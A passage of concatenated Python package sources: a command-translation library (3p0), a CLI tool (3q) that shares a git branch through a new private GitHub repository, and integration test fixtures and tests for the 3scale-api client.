arg["name"]) if is_kwarg is True: if name in store: kwargs[name] = store[name] else: if name in store: args.append(store[name]) else: args.append(Placeholder(name)) return Command( info["name"], args, kwargs, info.get("attrs", []), info.get("placeholder_output", None), )
3p0
/3p0-0.0.10.tar.gz/3p0-0.0.10/pythreepio/command.py
command.py
import re from typing import Tuple, List from .utils import get_mapped_commands from .errors import TranslationMissing from .command import Command, cmd_from_info class Threepio(object): def __init__(self, from_lang: str, to_lang: str, framework: object): self.commands = get_mapped_commands() self.from_lang = from_lang self.to_lang = to_lang self.framework = framework def _normalize_func_name(self, name: str, lang: str) -> str: alpha = re.compile("[^a-zA-Z]") return alpha.sub("", name).lower() def _order_args( self, cmd: Command, from_info: dict, to_info: dict ) -> Tuple[list, dict]: new_args = [] new_kwargs = {} for i, arg in enumerate(cmd.args): from_arg = from_info["args"][i] to_arg_index = next( ( index for index, d in enumerate(to_info["args"]) if d["name"] == from_arg.get(self.to_lang, None) ), None, ) if to_arg_index is None: new_args.append(arg) continue new_args.insert(to_arg_index, arg) # If any kwargs are normal args, splice them in as well for k, v in cmd.kwargs.items(): from_arg = [a for a in from_info["args"] if a["name"] == k][0] to_arg_index = next( ( index for index, d in enumerate(to_info["args"]) if d["name"] == from_arg.get(self.to_lang, {}) ), None, ) if to_arg_index is None: new_kwargs[k] = v continue new_args.insert(to_arg_index, v) return new_args, new_kwargs def translate_multi(self, orig_cmd, commands_info): cmd_config = commands_info.pop(0) store = {} for i, arg in enumerate(orig_cmd.args): cmd_config["args"][i]["value"] = arg store[cmd_config["args"][i]["name"]] = arg new_cmds = [cmd_config] for from_info in commands_info: cmd = cmd_from_info(from_info, store) to_info = self.commands[self.to_lang][ self._normalize_func_name(from_info.get(self.to_lang), self.to_lang) ][0] new_cmds.append(self.translate_command(cmd, from_info, to_info)) return new_cmds def translate_command(self, cmd, from_command, to_command): attrs = to_command["attrs"][1:] translated_cmd = None args, kwargs = self._order_args(cmd, from_command, to_command) output = from_command.get("placeholder_output", None) return Command( to_command["name"], args, kwargs, attrs=to_command["attrs"], placeholder_output=output, exec_fn=translated_cmd, ) def translate(self, cmd: Command, lookup_command: bool = False) -> List[Command]: from_info = self.commands[self.from_lang][ self._normalize_func_name(cmd.function_name, self.from_lang) ] if len(from_info) > 1: return self.translate_multi(cmd, from_info) from_info = from_info[0] if from_info.get(self.to_lang, None) is None: raise TranslationMissing(cmd.function_name) to_info = self.commands[self.to_lang][ self._normalize_func_name(from_info.get(self.to_lang), self.to_lang) ] return [self.translate_command(cmd, from_info, to_info[0])]
3p0
/3p0-0.0.10.tar.gz/3p0-0.0.10/pythreepio/threepio.py
threepio.py
class TranslationMissing(Exception): def __init__(self, name): super().__init__( f"Translation for the command {name} is not currently supported" ) class NotTranslated(Exception): def __init__(self): super().__init__("Translation must be completed before executing")
3p0
/3p0-0.0.10.tar.gz/3p0-0.0.10/pythreepio/errors.py
errors.py
try: import importlib.resources as pkg_resources except ImportError: import importlib_resources as pkg_resources import json import static def get_mapped_commands() -> dict: json_txt = pkg_resources.read_text(static, "mapped_commands_full.json") return json.loads(json_txt)
3p0
/3p0-0.0.10.tar.gz/3p0-0.0.10/pythreepio/utils.py
utils.py
__version__ = "0.0.10"
3p0
/3p0-0.0.10.tar.gz/3p0-0.0.10/pythreepio/__init__.py
__init__.py
This is the README! You're welcome!
3ptest
/3ptest-1.0.0.tar.gz/3ptest-1.0.0/README.md
README.md
import pathlib from setuptools import setup HERE = pathlib.Path(__file__).parent README = (HERE / "README.md").read_text() setup( name="3ptest", version="1.0.0", description="3P Test Package", long_description=README, long_description_content_type="text/markdown", license="MIT", classifiers=[ "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.7", ], packages=["3ptest"], entry_points={ "console_scripts": [ "3ptest=3ptest.__main__:main", ] }, )
3ptest
/3ptest-1.0.0.tar.gz/3ptest-1.0.0/setup.py
setup.py
# -*- coding: utf-8 -*- from setuptools import setup packages = \ ['qqq'] package_data = \ {'': ['*']} install_requires = \ ['click-spinner>=0.1.10,<0.2.0', 'click>=7.1.2,<8.0.0', 'gitpython>=3.1.3,<4.0.0', 'requests>=2.24.0,<3.0.0', 'shortuuid>=1.0.1,<2.0.0'] entry_points = \ {'console_scripts': ['qqq = qqq.qqq:cli']} setup_kwargs = { 'name': '3q', 'version': '0.1.6', 'description': '', 'long_description': None, 'author': 'Adam Walsh', 'author_email': 'adamtwalsh@gmail.com', 'maintainer': None, 'maintainer_email': None, 'url': None, 'packages': packages, 'package_data': package_data, 'install_requires': install_requires, 'entry_points': entry_points, 'python_requires': '>=3.6,<4.0', } setup(**setup_kwargs)
3q
/3q-0.1.6.tar.gz/3q-0.1.6/setup.py
setup.py
from typing import Union, Dict import requests from requests.auth import HTTPBasicAuth class GitHub: _api_base_url = 'https://api.github.com' def __init__(self, username, token): self.username = username self.token = token @classmethod def verify_token(cls, username: str, token: str) -> bool: """ Verify a GitHub personal access token. :param username: The GitHub user associated with the token :param token: The personal access token :return: """ r = requests.get('https://api.github.com/user', auth=HTTPBasicAuth(username, token)) return r.status_code == 200 def get_user(self, username: str) -> Union[Dict, None]: """ Get a GitHub user. :param username: The user to get from GitHub. :return: JSON response from GitHub API if the user exists """ r = requests.get(f'{self._api_base_url}/users/{username}') return r.json() if r.status_code == 200 else None def create_repo(self, name: str) -> Union[Dict, None]: """ Create a private repo on GitHub. :param name: The name of the repo :return: JSON response from GitHub API if the request was successful """ r = requests.post( f'{self._api_base_url}/user/repos', json={'name': name, 'private': True}, auth=HTTPBasicAuth(self.username, self.token) ) return r.json() if r.status_code == 201 else None def add_collaborator(self, repo_name: str, username: str, admin: bool = False) -> bool: """ Add a collaborator to a GitHub repo. :param repo_name: The name of the repo on GitHub :param username: The username of the collaborator :param admin: Whether or not the collaborator should have admin privileges :return: True if the request was successful """ r = requests.put( f'{self._api_base_url}/repos/{self.username}/{repo_name}/collaborators/{username}', auth=HTTPBasicAuth(self.username, self.token), json={'permission': 'admin'} if admin else None ) return r.status_code in (201, 204)
3q
/3q-0.1.6.tar.gz/3q-0.1.6/qqq/github.py
github.py
import configparser import os import secrets from pathlib import Path import click import click_spinner import shortuuid from git import Repo from git.exc import InvalidGitRepositoryError from .github import GitHub CONFIG_FILE = 'config.ini' QQQ = 'qqq' @click.group() def cli(): """ QQQ allows you to easily share your currently checked-out git branch with other people via GitHub. How to use QQQ:\n 1. Obtain a personal access token from GitHub with the full `repo` permission.\n 2. Use `qqq login` to save your GitHub access token to the QQQ config file.\n 3. `cd` to your local git repository and run `qqq send` to share the currently checked-out branch with other GitHub users. """ pass @cli.command() @click.option('-u', '--user', 'user', help='Your GitHub username.') @click.option('-t', '--token', 'token', help='Your GitHub personal access token.') def login(user, token): """Save your GitHub access token.""" app_dir = click.get_app_dir(QQQ) config_path = f'{app_dir}/{CONFIG_FILE}' # Verify user with click_spinner.spinner(): if not GitHub.verify_token(user, token): click.echo(click.style('Invalid GitHub username or token!', fg='red')) raise click.Abort # Check if file already exists if Path(config_path).is_file(): # File exists, prompt to overwrite click.confirm(f'{click.format_filename(config_path)} already exists, update?', abort=True) # Create config object cp = configparser.ConfigParser() cp['auth'] = { 'user': user, 'token': token } # Make sure the qqq dir exists if not Path(app_dir).is_dir(): click.echo(f'Creating directory {click.format_filename(app_dir)}...') Path(app_dir).mkdir(parents=True, exist_ok=True) # Write to config file with open(config_path, 'w') as config_file: cp.write(config_file) click.echo(f'Updated config file located at:\t{click.format_filename(config_path)}') @cli.command() @click.argument('github_username') @click.option('-a', '--admins', multiple=True, required=False, help='GitHub users to invite as admin collaborators.') def send(github_username, admins): """Share your local branch with other GitHub users.""" config_path = f'{click.get_app_dir(QQQ)}/{CONFIG_FILE}' # Create the repo object try: repo = Repo(os.getcwd()) except InvalidGitRepositoryError: click.echo(click.style('Please use qqq from within a valid git repository.', fg='red')) raise click.Abort if repo.bare: # Confirm the user wants to use an empty repo click.confirm('Repository appears to be bare, continue?', abort=True) # Make sure config file exists if not Path(config_path).is_file(): click.echo(click.style('Config files does not exist. Run `qqq login`.', fg='red')) raise click.Abort # Read the config file cp = configparser.ConfigParser() try: cp.read(config_path) auth_user = cp.get('auth', 'user') auth_token = cp.get('auth', 'token') except configparser.Error: click.echo(click.style('Malformed configuration file.', fg='red')) raise click.Abort gh = GitHub(auth_user, auth_token) # Verify user exists on GitHub user = gh.get_user(github_username) if user is None: click.echo(f'Could not find GitHub user {github_username}.') raise click.Abort # Generate new repo name repo_name = f'{github_username}-{shortuuid.uuid()}' # Ask user for branch name branch_name = click.prompt('Enter the branch name on the remote repository', default='master') # Confirm with user click.echo(f'Preparing to send the current branch to {github_username}...') _repo = f'' _msg = f'''Are you sure you want to send the current branch to {user["login"]} ({user["name"]})? This will: \t1. Take the current `{repo.active_branch}` branch and force push to {auth_user}/{repo_name} on GitHub (private) \t2. Invite {github_username} as a collaborator\n''' if admins: _msg += f'\t3. Invite {", ".join([str(a) for a in admins])} as {"an " if len(admins) == 1 else ""}' \ f'admin collaborator{"s" if len(admins) > 1 else ""}\n' click.confirm(click.style(_msg, fg='cyan'), abort=True) click.echo(f'Creating repo on GitHub and inviting {user["login"]}...') with click_spinner.spinner(): # Create repo on GitHub new_repo = gh.create_repo(repo_name) if new_repo is None: click.echo(click.style('Failed to create repository on GitHub.', fg='red')) raise click.Abort # Push the current branch to the new repo _tmp_remote_name = secrets.token_urlsafe() _tmp_remote_url = f'https://{auth_token}:x-oauth-basic@github.com/{auth_user}/{repo_name}.git' new_remote = repo.create_remote(_tmp_remote_name, _tmp_remote_url) new_remote.push(f'{repo.head.ref}:{branch_name}') repo.delete_remote(_tmp_remote_name) if not gh.add_collaborator(repo_name, user["login"]): click.echo(click.style(f'Error inviting {user["login"]}.', fg='red')) # Invite admin collaborators for admin_username in admins: au = gh.get_user(admin_username) # Verify the admin collaborator's GitHub account if au: click.confirm(click.style(f'Are you sure you want to invite {au["login"]} as an admin?', fg='cyan')) click.echo(f'Inviting admin {au["login"]} ({au["name"]})...') with click_spinner.spinner(): if not gh.add_collaborator(repo_name, admin_username, admin=True): click.echo(click.style(f'Error inviting {au["login"]}.', fg='red')) else: click.echo(click.style(f'Could not find {admin_username}.', fg='red')) click.echo('Done!')
3q
/3q-0.1.6.tar.gz/3q-0.1.6/qqq/qqq.py
qqq.py
import os import secrets import time from distutils.util import strtobool import pytest from dotenv import load_dotenv from threescale_api import errors import threescale_api from threescale_api.resources import (Service, ApplicationPlan, Application, Proxy, Backend, Metric, MappingRule, BackendMappingRule, BackendUsage, ActiveDoc, Webhooks, InvoiceState) load_dotenv() def cleanup(resource): resource.delete() assert not resource.exists() def get_suffix() -> str: return secrets.token_urlsafe(8) @pytest.fixture(scope='session') def url() -> str: return os.getenv('THREESCALE_PROVIDER_URL') @pytest.fixture(scope='session') def token() -> str: return os.getenv('THREESCALE_PROVIDER_TOKEN') @pytest.fixture(scope='session') def master_url() -> str: return os.getenv('THREESCALE_MASTER_URL') @pytest.fixture(scope='session') def master_token() -> str: return os.getenv('THREESCALE_MASTER_TOKEN') @pytest.fixture(scope="session") def ssl_verify() -> bool: ssl_verify = os.getenv('THREESCALE_SSL_VERIFY', 'false') return bool(strtobool(ssl_verify)) @pytest.fixture(scope='session') def api_backend() -> str: return os.getenv('TEST_API_BACKEND', 'http://www.httpbin.org:80') @pytest.fixture(scope='session') def api(url: str, token: str, ssl_verify: bool) -> threescale_api.ThreeScaleClient: return threescale_api.ThreeScaleClient(url=url, token=token, ssl_verify=ssl_verify) @pytest.fixture(scope='session') def master_api(master_url: str, master_token: str, ssl_verify: bool) -> threescale_api.ThreeScaleClient: return threescale_api.ThreeScaleClient(url=master_url, token=master_token, ssl_verify=ssl_verify) @pytest.fixture(scope='module') def apicast_http_client(application, ssl_verify): return application.api_client(verify=ssl_verify) @pytest.fixture(scope='module') def service_params(): suffix = get_suffix() return dict(name=f"test-{suffix}") @pytest.fixture(scope='module') def service(service_params, api) -> Service: service = api.services.create(params=service_params) yield service cleanup(service) @pytest.fixture(scope='module') def access_token_params()-> dict: suffix = get_suffix() name = f"test-{suffix}" return dict(name=name, permission="rw", scopes=["account_management"]) @pytest.fixture(scope='module') def access_token(access_token_params, api): entity = api.access_tokens.create(params=access_token_params) yield entity cleanup(entity) @pytest.fixture(scope='module') def account_params(): suffix = get_suffix() name = f"test-{suffix}" return dict(name=name, username=name, org_name=name) @pytest.fixture(scope='module') def account(account_params, api): entity = api.accounts.create(params=account_params) yield entity cleanup(entity) @pytest.fixture(scope='module') def application_plan_params() -> dict: suffix = get_suffix() return dict(name=f"test-{suffix}") @pytest.fixture(scope='module') def application_plan(api, service, application_plan_params) -> ApplicationPlan: resource = service.app_plans.create(params=application_plan_params) yield resource @pytest.fixture(scope='module') def application_params(application_plan): suffix = get_suffix() name = f"test-{suffix}" return dict(name=name, description=name, plan_id=application_plan['id']) @pytest.fixture(scope='module') def application(account, application_plan, application_params) -> Application: resource = account.applications.create(params=application_params) yield resource cleanup(resource) @pytest.fixture(scope='module') def proxy(service, application, api_backend) -> Proxy: params = { 'api_backend': api_backend, 'credentials_location': 'query', 'api_test_path': '/get', } proxy = service.proxy.update(params=params) return proxy @pytest.fixture(scope='module') def backend_usage(service, backend, application) -> BackendUsage: params = { 'service_id': service['id'], 'backend_api_id': backend['id'], 'path': '/get', } resource = service.backend_usages.create(params=params) yield resource cleanup(resource) @pytest.fixture(scope='module') def metric_params(service): suffix = get_suffix() friendly_name = f'test-metric-{suffix}' system_name = f'{friendly_name}'.replace('-', '_') return dict(service_id=service['id'], friendly_name=friendly_name, system_name=system_name, unit='count') @pytest.fixture(scope='module') def backend_metric_params(backend): suffix = get_suffix() friendly_name = f'test-metric-{suffix}' system_name = f'{friendly_name}'.replace('-', '_') return dict(backend_id=backend['id'], friendly_name=friendly_name, system_name=system_name, unit='count') @pytest.fixture def updated_metric_params(metric_params): suffix = get_suffix() friendly_name = f'test-updated-metric-{suffix}' metric_params['friendly_name'] = f'/anything/{friendly_name}' metric_params['system_name'] = friendly_name.replace('-', '_') return metric_params @pytest.fixture def backend_updated_metric_params(backend_metric_params): suffix = get_suffix() friendly_name = f'test-updated-metric-{suffix}' backend_metric_params['friendly_name'] = f'/anything/{friendly_name}' backend_metric_params['system_name'] = friendly_name.replace('-', '_') return backend_metric_params @pytest.fixture(scope='module') def metric(service, metric_params) -> Metric: resource = service.metrics.create(params=metric_params) yield resource cleanup(resource) @pytest.fixture(scope='module') def hits_metric(service): return service.metrics.read_by(system_name='hits') @pytest.fixture(scope='module') def method_params(service): suffix = get_suffix() friendly_name = f'test-method-{suffix}' system_name = f'{friendly_name}'.replace('-', '_') return dict(friendly_name=friendly_name, system_name=system_name, unit='hits') @pytest.fixture def updated_method_params(method_params): suffix = get_suffix() friendly_name = f'test-updated-method-{suffix}' method_params['friendly_name'] = friendly_name method_params['system_name'] = f'{friendly_name}'.replace('-', '_') return method_params @pytest.fixture(scope='module') def method(hits_metric, method_params): resource = hits_metric.methods.create(params=method_params) yield resource cleanup(resource) def get_mapping_rule_pattern(): suffix = get_suffix() pattern = f'test-{suffix}'.replace('_', '-') return pattern @pytest.fixture(scope='module') def mapping_rule_params(hits_metric): """ Fixture for getting paramteres for mapping rule for product/service. """ return dict(http_method='GET', pattern='/', metric_id=hits_metric['id'], delta=1) @pytest.fixture(scope='module') def backend_mapping_rule_params(backend_metric): """ Fixture for getting paramteres for mapping rule for backend. """ return dict(http_method='GET', pattern='/get/anything/id', metric_id=backend_metric['id'], delta=1) @pytest.fixture def updated_mapping_rules_params(mapping_rule_params): """ Fixture for updating mapping rule for product/service. """ pattern = get_mapping_rule_pattern() params = mapping_rule_params.copy() params['pattern'] = f'/get/anything/{pattern}' return params @pytest.fixture def updated_backend_mapping_rules_params(backend_mapping_rule_params): """ Fixture for updating mapping rule for backend. """ pattern = get_mapping_rule_pattern() params = backend_mapping_rule_params.copy() params['pattern'] = f'/get/anything/{pattern}' return params @pytest.fixture(scope='module') def mapping_rule(proxy, mapping_rule_params) -> MappingRule: """ Fixture for getting mapping rule for product/service. """ resource = proxy.mapping_rules.create(params=mapping_rule_params) yield resource cleanup(resource) @pytest.fixture(scope='module') def backend_mapping_rule(backend, backend_mapping_rule_params) -> BackendMappingRule: """ Fixture for getting mapping rule for backend. """ resource = backend.mapping_rules.create(params=backend_mapping_rule_params) yield resource cleanup(resource) @pytest.fixture def create_mapping_rule(service): """ Fixture for creating mapping rule for product/service. """ rules = [] proxy = service.proxy.list() def _create(metric, http_method, path): params = dict(service_id=service['id'], http_method=http_method, pattern=f'/anything{path}', delta=1, metric_id=metric['id']) rule = proxy.mapping_rules.create(params=params) rules.append(rule) return rule yield _create for rule in rules: if rule.exists(): cleanup(rule) @pytest.fixture def create_backend_mapping_rule(backend): """ Fixture for creating mapping rule for backend. """ rules = [] def _create(backend_metric, http_method, path): params = dict(backend_id=backend['id'], http_method=http_method, pattern=f'/anything{path}', delta=1, metric_id=backend_metric['id']) rule = backend.mapping_rules.create(params=params) rules.append(rule) return rule yield _create for rule in rules: if rule.exists(): cleanup(rule) @pytest.fixture(scope='module') def backend_params(api_backend): """ Fixture for getting backend parameters. """ suffix = get_suffix() return dict(name=f"test-backend-{suffix}", private_endpoint=api_backend, description='111') @pytest.fixture(scope='module') def backend(backend_params, api) -> Backend: """ Fixture for getting backend. """ backend = api.backends.create(params=backend_params) yield backend cleanup(backend) @pytest.fixture(scope='module') def backend_metric(backend, metric_params) -> Metric: """ Fixture for getting backend metric. """ resource = backend.metrics.create(params=metric_params) yield resource cleanup(resource) @pytest.fixture(scope="module") def custom_tenant(master_api, tenant_params): """ Fixture for getting the custom tenant. """ resource = master_api.tenants.create(tenant_params) yield resource resource.delete() # tenants are not deleted immediately, they are scheduled for the deletion # the exists method returns ok response, even if the tenant is scheduled for deletion # However, the deletion of the tenant fails, if already deleted with pytest.raises(errors.ApiClientError): resource.delete() @pytest.fixture(scope="module") def tenant_params(): """ Params for custom tenant """ return dict(username="tenant", password="123456", email="email@invalid.invalid", org_name="org") @pytest.fixture(scope='module') def active_docs_body(): return """ {"swagger":"2.0","info":{"version":"1.0.0","title":"Test"},"paths":{"/test":{"get":{"operationId":"Test", "parameters":[],"responses":{"400":{"description":"bad input parameter"}}}}},"definitions":{}} """ @pytest.fixture(scope='module') def active_docs_params(active_docs_body): suffix = get_suffix() name = f"test-{suffix}" return dict(name=name, body=active_docs_body) @pytest.fixture(scope='module') def active_doc(api, service, active_docs_params) -> ActiveDoc: """ Fixture for getting active doc. """ acs = active_docs_params.copy() acs['service_id'] = service['id'] resource = api.active_docs.create(params=acs) yield resource cleanup(resource) @pytest.fixture(scope='module') def provider_account(api): provider = api.provider_accounts.fetch() access_code = provider['site_access_code'] yield provider api.provider_accounts.update(dict(site_access_code=access_code)) @pytest.fixture(scope='module') def provider_account_params(): suffix = get_suffix() name = f"test-{suffix}" return dict(username=name, email=f'{name}@example.com', assword='123456') @pytest.fixture(scope='module') def provider_account_user(provider_account_params, api): entity = api.provider_account_users.create(params=provider_account_params) yield entity cleanup(entity) @pytest.fixture(scope='module') def webhook(api): return api.webhooks @pytest.fixture(scope='module') def account_plans_params(): suffix = get_suffix() name = f"test-{suffix}" return dict(name=name) @pytest.fixture(scope='module') def account_plan(account_plans_params, api): entity = api.account_plans.create(params=account_plans_params) yield entity cleanup(entity) @pytest.fixture(scope="module") def invoice(account, api): entity = api.invoices.create(dict(account_id=account['id'])) yield entity entity.state_update(InvoiceState.CANCELLED) @pytest.fixture(scope='module') def invoice_line_params(): name = f"test-{get_suffix()}" return dict(name=name, description='test_item', quantity='1', cost=10) @pytest.fixture(scope='module') def invoice_line(invoice, invoice_line_params, api): entity = invoice.line_items.create(invoice_line_params) yield entity cleanup(entity) @pytest.fixture(scope='module') def fields_definitions_params(): return dict(name=f"name-{get_suffix()}", label=f"label-{get_suffix()}", target="Account", required="false") @pytest.fixture(scope="module") def fields_definition(api, fields_definitions_params): entity = api.fields_definitions.create(fields_definitions_params) yield entity cleanup(entity) @pytest.fixture(scope="module") def cms_file_data(cms_section): """CMS file fixture data""" return {"path": f"/path{get_suffix()}", "downloadable": True, 'section_id': cms_section['id']} @pytest.fixture(scope="module") def cms_file_files(active_docs_body): """CMS file fixture files. File object can be used instead of file body 'active_docs_body', see https://requests.readthedocs.io/en/latest/user/advanced/#post-multiple-multipart-encoded-files """ return {"attachment": (f"name-{get_suffix()}", active_docs_body, "application/json", {"Expires": 0})} @pytest.fixture(scope="module") def cms_file(api, cms_file_data, cms_file_files): """CMS file fixture""" entity = api.cms_files.create(params={}, files=cms_file_files, data=cms_file_data) yield entity cleanup(entity) @pytest.fixture(scope="module") def cms_section_params(api): """CMS section fixture params""" parent_id = api.cms_sections.list()[0]['id'] return {"title": f"title-{get_suffix()}", "public": True, "partial_path": f"/path-{get_suffix()}", "parent_id": parent_id} @pytest.fixture(scope="module") def cms_section(api, cms_section_params): """CMS section fixture""" entity = api.cms_sections.create(cms_section_params) yield entity cleanup(entity) @pytest.fixture(scope="module") def cms_partial_params(): """CMS partial fixture params""" return {"system_name": f"sname-{get_suffix()}", "draft": f"draft-{get_suffix()}"} @pytest.fixture(scope="module") def cms_partial(api, cms_partial_params): """CMS partial fixture""" entity = api.cms_partials.create(cms_partial_params) yield entity cleanup(entity) @pytest.fixture(scope="module") def cms_layout_params(): """CMS layout fixture params""" return {"system_name": f"sname-{get_suffix()}", "draft": f"draft-{get_suffix()}", "title": f"title-{get_suffix()}", "liquid_enabled": True} @pytest.fixture(scope="module") def cms_layout(api, cms_layout_params): """CMS layout fixture""" entity = api.cms_layouts.create(cms_layout_params) yield entity cleanup(entity) @pytest.fixture(scope="module") def cms_page_params(cms_section, cms_layout): """CMS page fixture params""" return {"system_name": f"sname-{get_suffix()}", "draft": f"draft-{get_suffix()}", "title": f"title-{get_suffix()}", "path": f"/path-{get_suffix()}", "section_name": f"section-{get_suffix()}", "section_id": cms_section['id'], "layout_name": f"layout-{get_suffix()}", "layout_id": cms_layout['id'], "liquid_enabled": True, "handler": "markdown", "content_type": "text/html"} @pytest.fixture(scope="module") def cms_page(api, cms_page_params): """CMS page fixture""" entity = api.cms_pages.create(cms_page_params) yield entity cleanup(entity)
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/conftest.py
conftest.py
from tests.integration import asserts from threescale_api.resources import Backends from .asserts import assert_resource, assert_resource_params def test_3scale_url_is_set(api, url, token): assert url is not None assert token is not None assert api.url is not None def test_backends_list(api, backend): backends = api.backends.list() assert len(backends) >= 1 def test_backend_can_be_created(api, backend_params, backend): assert_resource(backend) assert_resource_params(backend, backend_params) def test_backend_can_be_read(api, backend_params, backend): read = api.backends.read(backend.entity_id) asserts.assert_resource(read) asserts.assert_resource_params(read, backend_params) def test_backend_can_be_read_by_name(api, backend_params, backend): backend_name = backend['system_name'] read = api.backends[backend_name] asserts.assert_resource(read) asserts.assert_resource_params(read, backend_params) def test_backend_can_be_updated(api, backend): assert backend['description'] == '111' backend['description'] = '222' backend.update() assert backend['description'] == '222' updated = backend.read() assert updated['description'] == '222' assert backend['description'] == '222' def test_backend_metrics_list(backend, backend_metric): assert len(backend.metrics.list()) > 1 def test_backend_mapping_rules_list(backend, backend_mapping_rule): assert backend.mapping_rules.list() def test_backend_usages(backend, service, backend_usage): assert backend.usages() == [backend_usage]
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_backends.py
test_integration_backends.py
import pytest import secrets from tests.integration import asserts @pytest.fixture(scope='module') def update_params(): suffix = secrets.token_urlsafe(8) return dict(name=f"updated-{suffix}", cost_per_month='12.0', setup_fee='50.0') def test_application_plan_can_be_created(api, application_plan_params, application_plan): asserts.assert_resource(application_plan) asserts.assert_resource_params(application_plan, application_plan_params) def test_application_plans_list(service): app_plans = service.app_plans.list() assert len(app_plans) == 1 def test_application_plan_update(application_plan, update_params): updated_app_plan = application_plan.update(params=update_params) asserts.assert_resource(updated_app_plan) asserts.assert_resource_params(updated_app_plan, update_params)
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_application_plan.py
test_integration_application_plan.py
from threescale_api.utils import HttpClient def test_api_client(application, proxy): application.api_client_verify = False api_client = application.api_client() assert api_client is not None assert api_client.verify is False assert api_client.get("/get").status_code == 200 def always_no_ssl_client(application, endpoint, verify, cert=None, disable_retry_status_list=()): return HttpClient(application, endpoint, False, cert, disable_retry_status_list) def test_api_client_replacement(application, proxy): application.api_client_verify = True application._client_factory = always_no_ssl_client api_client = application.api_client() assert api_client is not None assert api_client.verify is False assert api_client.get("/get").status_code == 200
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_api_client.py
test_integration_api_client.py
from tests.integration import asserts def test_provider_user_can_be_created(provider_account_user, provider_account_params): asserts.assert_resource(provider_account_user) asserts.assert_resource_params(provider_account_user, provider_account_params) def test_provider_user_list(api): accounts = api.provider_accounts.list() assert len(accounts) > 0 def test_provider_user_can_be_read(api, provider_account_user, provider_account_params): account = api.provider_account_users.read(provider_account_user.entity_id) asserts.assert_resource(account) asserts.assert_resource_params(account, provider_account_params) def test_resource_role_change(provider_account_user): assert provider_account_user['role'] == 'member' updated = provider_account_user.set_role_admin() assert updated['role'] == 'admin' def test_api_role_change(api, provider_account_user): assert provider_account_user['role'] == 'member' updated = api.provider_account_users.set_role_admin(provider_account_user.entity_id) assert updated['role'] == 'admin' def test_api_read_permissions(api, provider_account_user): provider_account_user.set_role_admin() response = api.provider_account_users.permissions_read(provider_account_user.entity_id) permissions = response['permissions'] assert 'portal' in permissions['allowed_sections'] def test_resource_read_permissions(provider_account_user): provider_account_user.set_role_admin() response = provider_account_user.permissions_read() permissions = response['permissions'] assert 'portal' in permissions['allowed_sections'] def test_resource_update_permissions(service, provider_account_user): provider_account_user.set_role_member() response = provider_account_user.permissions_update() permissions = response['permissions'] assert 'portal' not in permissions['allowed_sections'] assert service['id'] not in permissions['allowed_service_ids'] response = provider_account_user.permissions_update( allowed_services=[service['id']], allowed_sections=['portal']) permissions = response['permissions'] assert 'portal' in permissions['allowed_sections'] assert service['id'] in permissions['allowed_service_ids']
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_provider_account_users.py
test_integration_provider_account_users.py
from tests.integration import asserts from .asserts import assert_resource, assert_resource_params def test_active_docs_fetch(active_doc): ac = active_doc.client.fetch(int(active_doc['id'])) assert ac assert ac['id'] == active_doc['id']
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_activedocs.py
test_integration_activedocs.py
def test_read_by_name_account(account, api): """Test for read_by_name when entity has entity_name""" acc = api.accounts.read_by_name(account.entity_name) assert acc == account def test_read_by_name_account_plan(account_plan, api): """Test for read_by_name when entity hasn't entity_name""" acc_plan = api.account_plans.read_by_name(account_plan.entity_name) assert acc_plan == account_plan def test_read_by_name_application(application, account, api): """Test for read_by_name when entity has entity_name""" app = account.applications.read_by_name(application.entity_name) assert app == application
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_default_client.py
test_integration_default_client.py
def test_policies_insert_append(proxy): #test_append policies = proxy.policies.list() policy_1 = { "name": "logging", "configuration": {}, "version": "builtin", "enabled": True } proxy.policies.append(policy_1) policies["policies_config"].append(policy_1) updated_policies = proxy.policies.list() assert policies["policies_config"] == updated_policies["policies_config"] #test_insert policy_2 = { "name": "echo", "configuration": {}, "version": "builtin", "enabled": True } proxy.policies.insert(1, policy_2) updated_policies["policies_config"].insert(1, policy_2) newly_updated_policies = proxy.policies.list() assert updated_policies["policies_config"] == newly_updated_policies["policies_config"]
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_policies.py
test_integration_policies.py
from .asserts import assert_resource, assert_resource_params def test_fields_definitions_create(api, fields_definition, fields_definitions_params): assert_resource(fields_definition) assert_resource_params(fields_definition, fields_definitions_params) def test_fields_definitions_list(api): assert len(api.fields_definitions.list()) > 0 def test_fields_definitions_read(api): default_field = api.fields_definitions.list()[0] read = api.fields_definitions.read(default_field.entity_id) assert_resource(read) assert default_field['target'] == read['target'] assert default_field['position'] == read['position'] def test_fields_definitions_update(api, fields_definition): update_params = dict(target="Cinstance", label="something_else", hidden="true", read_only="true", position=1) updated = fields_definition.update(update_params) assert_resource_params(updated, update_params) def test_fields_definitions_delete(api, fields_definitions_params): fields_definitions_params.update(dict(name="something_else")) created = api.fields_definitions.create(fields_definitions_params) assert api.fields_definitions.delete(created.entity_id)
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_fields_definitions.py
test_integration_fields_definitions.py
import pytest def create_resources(service, proxy, metric_params): metric = service.metrics.create(params=metric_params) rule_params = dict(http_method='GET', metric_id=metric['id'], delta=1, pattern=f'/anything/{metric["system_name"]}') rule = proxy.mapping_rules.create(params=rule_params) return rule['pattern'] def do_request(client, path): for _ in range(2): response = client.get(path=path) assert response.status_code == 200 def test_should_get_analytics_by_service(api, service, proxy, metric_params, apicast_http_client): path = create_resources(service, proxy, metric_params) do_request(apicast_http_client, path) data = api.analytics.list_by_service(service) assert data['total'] == 2
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_analytics.py
test_integration_analytics.py
